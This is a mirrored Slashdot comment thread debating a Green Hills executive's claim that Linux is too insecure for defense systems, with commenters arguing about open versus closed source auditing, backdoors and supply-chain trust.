Slashdot Mirror
Embedded RTOS Maker Raises Linux Security Issues
drquizas writes "Embedded RTOS provider Green Hills recently delivered an address where they raised the question of whether Linux can be considered secure enough to be used in defense applications. Much of the usual FUD is present in the remarks, although an interesting question is raised regarding what defense and other government contractors are required to do in testing code (in this case anyway): is the closed code here being held to a higher standard than its open-source equivalent, and does this change the 'security through obscurity' argument?"
"It costs us $500 to $1,000 a line to review our source code. It would cost billions of dollars to review Linux."
Hows that any different from if they chose windows? Wouldnt it still cost them just as much? thats assuming they can get access to the windows code. At least with Linux you don't have to pay to get it.
And no the leaked source does not count.
While it is never good to rely on "security through obscurity", it doesn't mean that it is useless. For example, if after all the thorough testing the same number of bugs were left (hypothetically) in the software, they would be harder to find in the closed system where you wouldn't know where to starting looking as opposed to open source where you could scan the source until you came upon what looked like a vulnerability. The obscurity isn't harmful in itself and it provides an additional barrier. Maybe not a powerful, but every little bit helps. I'd feel a little nervous if I knew some terrorist (as a much over used example) could look over the source code (even if it had no holes!) for a nuclear weapon command centre or something of that sort. I think the ultimate question should be whether the open nature of the open source development can lead to the less bugs - and thus greater security- than closed source development plus the small bonus of obscurity. I think the value of obscurity may have been undervalued in the past, it does have some value.
Your CPU is not doing anything else, at least do something.
There was Cowboy Neal at the wheel of a bus to never-ever land.
This is kind of a side remark that I haven't really thought on too much, but here goes. (I think I'm playing devil's advocate...)
(1) Who audits the open source software that they use? I certainly don't. I rarely even bother to look at the source. So in this respect, it doesn't matter (to me) if the software is closed source or open source since the code isn't looked at even if you (I) had the chance to.
(2) If you're not going to audit the code, will you trust the code developers to have done adequate auditing? Again, the folks who write open source software are, for the most part, as much a stranger as the folks working in some company (at least if you're me). Why should I trust "open source" strangers more than "closed source" strangers?
These points rarely seem to get brought up here. I can certainly see the answers to (2) giving the edge to open source, but what about (1)?.
"Now that foreign intelligence agencies and terrorists know that Linux is going to control our most advanced defense systems, they can use fake identities to contribute subversive software."
The whole story is so absolutely paranoid (The Russians are coming! Beware of the Yellow Peril!) and shows such a complete lack of understanding of the Linux Open Source process that it would make me worry if I were buying Green Hills' software: Do you want to buy something from somebody who is this divorced from reality and has this little understanding of how his competitor works?
Yeah but he's spewing this crap.. "Everyday new code is added to Linux in Russia, China and elsewhere throughout the world. Everyday that code is incorporated into our command, control, communications and weapons systems. This must stop." ... Cmon he has a vested interest... His own company puts out it's own RTOS Go to that link. Now. Read the TOP of the middle column "Real-Time Operating Systems Must be Highly Reliable"
Microsoft Windows, MacOS, Unix, and Linux often crash, lock up, or go crazy. They indicate this condition by displaying a sad face, an exploding bomb, a red X, a blue screen of death, or by simply refusing to respond to mouse-clicks or keyboard input.
This is FUD and he does have a vested interest.
I thought MS, Sun, Oracle, IBM all have code shops outside the USA. Their products are (mostly) proprietary. Yet he takes no stab at them.
Hell, Green Hills probably uses a number of the aforementioned proprietary products in-house, parts of which were developed overseas and may have back doors! So their code and binaries are available to all those wicked, wiley overseas hackers anyway!
What's next? Publishing the heritage of all their programmers and tracing them back to the fucking Mayflower?
OS dude's got the quote wrong:
"It costs us $500 to $1,000 a line to review our source code. It would cost _us_ billions of dollars to review Linux."
That's why he's losing business.
Don't know; Don't care; Don't ask
"Everyday new code is added to Linux in Russia, China and elsewhere throughout the world. Everyday that code is incorporated into our command, control, communications and weapons systems. This must stop."
Does he get this pissed about Microsoft, IBM, Sun, HP and other companies that outsource core dev to those same countries?
The parent post is funny but in all fairness I think the general idea is that he's discussing the cost per line for a very large system. A single line in isolation is easy to debug. But you can't debug them in isolation, can you now? I think it should be fairly obvious the average cost to debug per line of code increases the more lines of codes you have in the system. Since the different lines of code interact, you know.
And this tendency is probably much more pronounced when rather than debugging, you are, for example, attempting to certify something as a failsafe system.
Linux is a fairly large and multifarous system. If his company sells a product that is designed and streamlined to be an RTOS embedded kernel, it more than likely achieves this in far, far fewer lines of code than Linux overall. While he is probably being unfair by counting in the total number of Linux number of lines of code things like desktop video card drivers, it is an altogether reasonable statement to suppose that the streamlined and smaller RTOS kernel this company sells is probably easier to debug and reason about than the Linux kernel, which is relatively larger, more complex, and has more complex design goals.
that Linux can be made pretty damn secure.
If they have faith in it....
http://www.nsa.gov/selinux/
except they say:
There is still much work needed to develop a complete security solution. In addition, due to resource limitations, we have not yet been able to evaluate and optimize the performance of the security mechanisms.
One problem, as I see it is there are many people messing with the code that each update would require a line by line check to verify nothing has changed - greatly increasing the cost to maintain it certified as secure. Close source, however, can be maintained by strict procedures to ensure only parts of it get changed, greatly reducing the time needed to verify. Is it "more secure" - that's debatable, but it is certainly easier to control changes; making it easier to keep secure.
As for the $500 - 1000 per line, that may be high, but probably only reprsents 5 or so hours of time, which is not an unreasonable estimate for teh time to check a line and what it does.
Considering the number of double agents we have caught in the US lately, I think our concern should be the employees of closed source companies sticking evil easter eggs into the code used in national defense. We have all these Americans selling secrets for years before being caught. OTOH, we keep arresting these residents only to release them for lackof evidence. It is not the foreign agent that is the danger, but the domestic agent doing anything to pay a mortgage, private school, and vacations.
"She's a scientist and a lesbian. She's not going to let it slide." Orphan Black
Anyone want to place bets that Microsoft paid him to say that?
Nah, MS isn't the only one with a livelihood at stake. Linux is going to change the way a lot of people do business; some companies will not be able to adapt, and will die.
This is the sound of someone running scared. Plus, he probably believes what he says. Think about it from his perspective: his company is in the business of supplying good software, and he *knows* it's good software. Linux is deveoped in a strange way, one that is counter-intuitive to current business models. So it's no wonder he has said the things he said. From his perspective, it's true.
He's wrong, of course, but that doesn't change his perspective.
Microsoft is to software what Budweiser is to beer.
How hard will it be for Chinese nationals to poison each of the major linux applications + the kernel?
And no one would dare do that at a closed source vendor. How on earth could it be possible for, say, a Chinese or Russian person to get a job a Microsoft or Cisco working on an operating system? It would never happen.
How right you are, our closed source software is completely safe!
The government can review Windows' source at anytime, right?
/.ers biggest complaint about Windows is that they can't look at the source (in its entirety :-P).
The biggest fear regarding Linux is that some hacker in China or Vietnam"" might put malicious code into the source.
Most
The government has the best of both worlds. They get the security benefits of both open and closed source by using Windows.
Frankly, even as a faithful Linux user, I still have to agree with him. Our missile defense systems should not be running the same software as my home PC whether it is a commercial or open-source product.
When you buy a RTOS, you usually aren't getting compiled executable code. You usually get source code that you need to port to the hardware you are building.
Data sheets like this implies that Green Hills adheres to this common practice. So all the open source is more trustworthy than a black box arguments don't apply. Anyone who wishes to deploy a system based on Green Hills' RTOS can audit the code, it isn't hidden from them. Also, this PDF linked says:
Which to me implies that it has had a more thorough external audit than most open source packages.One final argument is that an RTOS is usually very small. Their Velocity RTOS can run in 3KB of RAM. When the OS is stripped down to something that small, a full audit seems like a much less daunting task.
This implies that he isn't arguing security through obscurity. He is arguing for the cathedral approach vs. the bazaar. Don't get me wrong, he still is spreading FUD. Its just a different FUD than you think. He is ignoring the role that Linus Torvalds and some of his trusted lieutenants like Alan Cox play in planning a direction, vetting ideas, and protecting the stability of the code base. Patches don't just come out of the blue from anonymous sources and applied without any examination, no matter what Dan O'Dowd may think.
What people seem to forget as well is that terrorism is a moving target. One of the the things terrorists try to do is exploit weaknesses in the system. If open-source/Linux development had a history of rolling out changes with little review or testing, then I could see there being a case for concern. But where is the weakness right now? Closed source! Partly because of attitudes like this. You can't trust open source, but you can trust closed source. So who would the terrorists try to exploit? They aren't going to use open-source if it is going to be heavily scrutinized. Not to mention the outsourcing of development, which only reduces the ability of employers to know who is really working for them.
What's the difference with open-source? I think that it's simple -- your code is your identity. I don't care who you are, I care what you are contributing. You can tell me what a great patriot you are and show me all sorts of credentials, but if you submit crappy code, you aren't worth any more than someone who submits the same code anonymously. You will have to endure the same peer review, your code will have to perform just as well.
Excuse me? Isn't the whole point of the LKML/CVS/BitKeeper process that every line that goes into the kernel (at the least) is traceable to somebody? Do any major projects give out anonymous CVS access? Or even access to people who aren't at least somewhat known by other developers?
Meanwhile, at many commercial companies you could have employees who worked there for a few months and got fired/quit. Depending on their internal code tracking it might be hard to tell what code they submitted, and whether it should be changed. And I really doubt they keep track of the employees after they leave.
Most OSS projects you probably have at least an e-mail for all the contributors.
I mean I can test the latest version of redhat, I can even, if I really desire to do so and am willing to work out the specifics, fix some of the problems I might encounter, but the militray is unlikely to care how something works on my system, they are going to want to know how it performs on their systems, the most important of which are likely to be either expensive and difficult to obtain servers or proprietary military hardware. I can't test that nor, I believe, can 99% of the people who test and examine OSS software.
Even the NSA doesn't use Linux, they use their own brand of Linux which they've probably modified the bejesus out of, Linux was just an easier place to start than other OS's(I don't doubt that the NSA could make their own version of Windows if they liked and there wouldn't be a damned thing MS could do about it, but it'd be a pain).
"Frankly, even as a faithful Linux user, I still have to agree with him. Our missile defense systems should not be running the same software as my home PC whether it is a commercial or open-source product."
... well, nobody really knows. The notion that closed systems are superior from the security point of view simply doesn't hold up to any sort of statistical analysis. Heck, it doesn't even hold up to a back of the napkin analysis.
Funny... I feel just the opposite. Whether it's missile control, voting machines or accounting system 99% of what the operating systems components are doing is the same. I'd want that code tested millions of times if possible. Of course some of the code, unique to that application, can only be tested in place, but the less there is of that the better. For every person who would want to introduce a flaw into such software there are hundreds, more likely thousands, who would want to expose that flaw and fix it. It really doesn't matter if their reasons are patriotic or ego related.
It is closed systems after all that produce voting machines with huge bugs in them, and closed systems that crash vehicles into Mars due to metric to English conversion bugs. It is also closed systems that had laptop computers being used in Afghanistan being subverted by pop-up messages from
IMHO, closed source solutions must be held to a higher standard then open source solutions. Open source solutions are proven in the wild, while close source solutions are much less so. With the availability of the source code, far more permutations of attack have probably been attempted against open source than closed source. In bottom line testing terms, chances are that open source has had far better code coverage tested than the closed source competitor. Closed source solutions must be held to a higher standard to compensate for this difference.
"To those who are overly cautious, everything is impossible. "
I doubt Trojan horses are much of an issue in embedded systems: since embedded systems don't generally have external Internet access, it would be hard to trigger a Trojan horse in an embedded system, so any failures it would introduce would have to show up randomly and not just in response to a trigger.
Furthermore, for embedded code to try and infer what kind of system it's running on (military/non-military, essential/non-essential, deployed/non-deployed) and only fail in the essential, deployed, military systems is essentially impossible with the kind of minimalist code that could be hidden in an open source project and not noticed.
That means that if anybody planted a Trojan horse in OSS that was of any military significance, it would show up during testing as random failures, and that is just taken care of by normal testing procedures.
Note that the same argument doesn't work for closed source: something like a Green Hills embedded kernel could easily ship with a huge Trojan horse that looks for specific strings in system output/logs ("military", "target", "live munitions", "vehicle speed", whatever the military lingo is) and/or looks for specific sensor types, output devices, and/or communications channels and only triggers under specific circumstances likely to represent actual combat situations. While such attempts to identify combat situations would be blatantly obvious in 100% open source software and be noticed right away, they could easily be hidden in any big binary component of any closed source system.
In fact, open-source software may have a slight advantage here, because it's less of a monoculture. Presumably Microsoft always uses their own Visual C++ compiler to build Windows, so if there were a trojan in the compiler that compromised the resulting Windows executables, it would be present in all copies of Windows that Microsoft distributed. But open source software is by its nature built on many different platforms using different compilers, so a compiler trojan would only affect a portion of the deployed copies of the open source software. And it is possible that a trojan introduced by one particular compiler would be found due to the executable it produces being different in some noticable way from the executable produced by a different compiler. For instance, strace might show the trojaned executable making extra system calls.
How does Mr. O'Dowd propose to assure us that his company's operating systems and compilers are more secure than Linux, xBSD, GCC, etc? Is he certain that none of his employess who have written code incorporated into his products have ever installed trojans? If so, how has he gained this certainty? Has he scrutinized every line of source code himself? Including those of the compilers that compiled the compilers, back all the way to the machine-code only origin of the system? Somehow I doubt it.
It is a matter of historical fact that far more trojan and back door exploits have been present in commercial, closed source software than in open source software. Just two days ago Cisco had to issue a security advisory regarding a back door found in their WLSE and HSE products. Would Mr. O'Dowd conclude that foreign agents and terrorists are responsible for that? Would he really have us believe that these shadowy figures can compromise open source software developed in the public eye more easily than they could subvert a commercial closed-source software package for which the source code and development process get no public scrutiny?
One is forced to conclude that Mr. O'Dowd feels his company's business model is threatened, and rather than change that model to reflect changes in the marketplace, he prefers to use "the sky is falling" proclamations in an attempt to scare customers into sticking with his products.
The whole story is so absolutely paranoid (The Russians are coming! Beware of the Yellow Peril!) and shows such a complete lack of understanding of the Linux Open Source process that it would make me worry if I were buying Green Hills' software: Do you want to buy something from somebody who is this divorced from reality and has this little understanding of how his competitor works?
There are a number of open source projects that have had their servers 0wn3d by crackers in the last year or two. In at least one or two cases the source code was tainted.
So, are you saying that, given an appropriate motivation (like linux being used to power Star Wars weapons) that the national security apparatus of a major power, with what are relatively unlimited resources and methods (buy equipment, time, expertise or information, hack, bribe, extort, tait software at source, infiltrate, murder (project lead?)) wouldn't be able to insert code when a pimple faced kid somehwere was able to do so?
Do you think that code would automatically be detected when so many bugs, bad practices, poor design, etc., etc., go undetected or fixed in open source software?
Consider this. Ken Thompson used to be able to login to just about any unix system in the world even if he didn't have an account. People checked and rechecked their systems. It didn't tend to help them. He later revealed his secret. Next, check out the Obfuscated C Contest. Some of the entries have additional functionality that isn't evident. One example is this one which implements 4 functions. I certainly wouldn't put it past somebody to be able to produce pretty standard looking C code that would pass the sniff test but which would, either by itself, or perhaps in combination with other code, implement an entirely different, second level of functionality which could be exploited as needed.
Given the potential stakes of defense work (losing a war, national survival, etc.) there is plenty of potential incentive for the finest minds a nation produces to tackle these problems, and potentially solve them. If you believe otherwise I think you are living in an open source dream world.
Most RTOSs are small, a tiny fraction in size compared to general purpose operating systems, making them easier to write well and test thoroughly.
..." phenomenon, combined with the fact that with software (programming languages especially), something that is far from the best tool can be made to work, and thus people don't bother to learn more than the few first tools they are introduced to.
The feature requirements for control systems are also vastly different and would inevitably exercise different features of the system, so testing in the server or desktop areas would be of limited value. No general purpose operating system provides hard real-time constraints out of the box.
My preference would be an open source RTOS. I know there are a lot of people who like Linux so much that they want to use it for everything, but that seems like emotional attachment more than rational thought. Software is very often used for purposes other than what it is intended for and best suited to doing, but this is often because of the "if the only tool you have is a hammer
Well, that's part of the point, here. Green Hills is going after that market as a "COTS" (Commecial Off-The-Shelf) vendor. There are a couple other vendor companies who are in, or aspire to, that niche, and Green Hills apparently fears that some Linux-based outfit, trying to adapt Linux to the task, will give them additional competition. Hence the use of "Linux" in the FUD, as opposed to, say, NetBSD.
I would bet that Linux is no better or worse for the purpose than whatever codebase Green Hills started with. They are just trying to apply negative leverage due using what little bit people know and fear about open source. FUD is the term to describe it. Definitely. It will cost them customers in the long run, once the marketting people bring the Green Hills pitch to the engineers...
"The Internet is made of cats."
This Green Sumfiun fella said all this because he can get away with saying it even if there is nothing of substance.
The idea that code is being introduced as though no one is minding the store is fatuous.
The very idea that an open source project is less secure precisely because it is open source is equally fatuous, but I suspect the speaker already knew that. To borrow a phrase from Chris Rock, ain't nothing in the world worse than someone who knows you won't sue them.
What is the most absurd part of the remarks, implicit in them is the idea that someone from Russia or China has no desire that the Linux kernel be secure for their own national defense interests as well, and that no one other than the US is interested in helping the DoD maintain a strong defense.
Remember: The United States of America is the sole remaining bulwark against the barbarity represented by terrorists, their supporters, nation-states who provide funding and enablers. The United States wants to preserve civilization, not knock it down
Saying that folks who live under different flags do not share the same goals as the US is as goofy as the speaker's assertions
Dawn of the Dead
Our missile defense systems should not be running the same software as my home PC whether it is a commercial or open-source product.
Are you a software developer, or don't you understand software development? As a software developer I cannot agree with you. Sounds a little like those who don't understand the math behind encryption and think the government can crack it by being smart/sophisticated. The more open and broadly tested software components are, the closer to impossible it becomes to crack them, NOT more possible.
The hardware these systems run on, in many cases have components manufactured by foreign nationals.
How hard is it to put more into a chip than was requested? Military planes falling out of the sky is bad when it's yours.
How about using easily obtainable supercomputers and the best emulation software to figure out how much to shave off of every component to make the entire system weaker but still pass all the Milspec tests?
The point is that the specialist parts of the code are only a small part of the whole system. The generic parts, everything from the network stack through to userland commands like cp and mv, are tested by a huge number of people.
It's not like you're going to have open source missile guidance systems, they're going to be written by the government or their contractors, and so aren't open to contributions from all and sundry.
In theory, it may be possible for someone to hide some trap-door function that allows some un-authorized access.
Before lecturing me on the "many-eyes" theory of code inspection, recall that some cases take a LOT of work to decided. In fact, many people are probably familiar with a famous instance of this problem - DES. For a quarter-century, the debate has raged on whether NSA selected the S-Boxes to have an unknown weakness, AKA private back-door. Many clever cryptographers have spent many man-years and there is still no conclusive statement. (I happen to agree with the majority view that there is probably no such weakness but I wouldn't bet my life on it.)
So, the question is: can someone put in a bunch of clever code in appearantly unrelated places that happens to create a security hole? Emperically, this happens accidentally quite often (just go through the CERT security advisories for examples) so it is at least possible that someone could deliberately put one in.
There is no theoretical reason nor practical experience to say that "many-eyes" will catch all of these traps (even if we assume there are many eyes actually looking). Indeed, even concerted detailed code-inspection may not find them all.
Having raised this question, I like to state that I believe that this is most likely a theoretical concern as long as there are "owners" of each piece of code who pay long-term attention to their charges and that we can assume the owners are not colluding. This first condition pretty much eliminates any "simple" holes that are localised in a single component, the second condition makes it very difficult to have multi-component holes. Forturnately, most open-source software, including Linux, meet these conditions; so I am not too worried.
Is it right for national agencies to be worried? Of course they should! But it is also relatively easy to just have their own "shadow owner" for each module. So it is possible for the agencies to gain confidence at low cost (not cheap, just low cost relatively speaking).
I'm a long time Linux user (late '93) and advocate and I have explored Integrity about four months ago. Let them spread FUD if they want. I would hope that we, the linux community are above that. Nothing would please me more than to have this guantlet be taken up by some interested folks, have them explore some of the major concepts which Green Hills promoted for their embedded OS, and impliment them for embedded Linux.
Green Hills Integrity has interesting features such as kernel and MMC enforced seperation of memory space, manatory access controls in the OS, and most insteresting, guarantied resources.
It seemed to me, talking with a presenter that came into our firm, that Green Hills has three things going for them. First, they really do seem to have a solid design, well throught out with features required for folks seeking high levels of trust and availability (technically) and they have multiple organizations (FAA and soon NSA) backing their security targets (things they claim it does, verified by NIAP labs, etc), and third, they have some really fantastic debugging tools. Real-time and record and re-run monitoring for *everything*, direct off your emebedded hardware. Some of their stuff is really slick.
I'd hope that our community can see past the FUD and marketing dribble, and get to the heart of the challenge. If we want to show Green Hills up, take some of the key concepts which their customers require, such resouce availability and DAC capabilities of the OS and integrate them into embedded linux as options. Leave them with only the tools market, and in five years they may just be developing tools for embedded linux development instead...
Don't let Green Hills pull the wool over your eyes. This is not an Open Source vs Proprietary fight. They have some very nice security concepts and features embedded linux simply can not (yet) complete against. This is just the left jab...it's the distraction, watch for the right fist in closed door sales presentations and as deal closers. Would you let your CEO explain anything techincal? You might let him use a left jab...
Too bad Sun has the same opinions:
Unix will be back. Really, it will! Everything is beautiful! Don't worry! Be happy! Customers will return to Solaris one day! After all, if schwartz said it, it must be true.
and even scott is a believer:
The "fad will wear off, and big business will come back to solaris".
Sun, don't worry, everything is great. Everybody else should wake up and smell the java
Sound familiar?
One last observation.
You just know that if NASA released the algorithms they used for anything space related they'd have tons of people looking them over. From the bitter, trying to prove the government is stupid, or scientists looking to help or for ideas, to video game companies wanting to advertise that their game's simulation of a Mars lander is based on real NASA code.
Somewhere in there an imperial to metric conversion failure would be caught.
Popular projects never lack for developers or testers.
I asked the same question to a university prof I had who consulted for NASA and he claimed that many people at NASA actually do all their work in imperial measurements, and they actually tried to make the ISS an all-imperial system. Still I think it's rather stupid that they can't use the standard measurement system.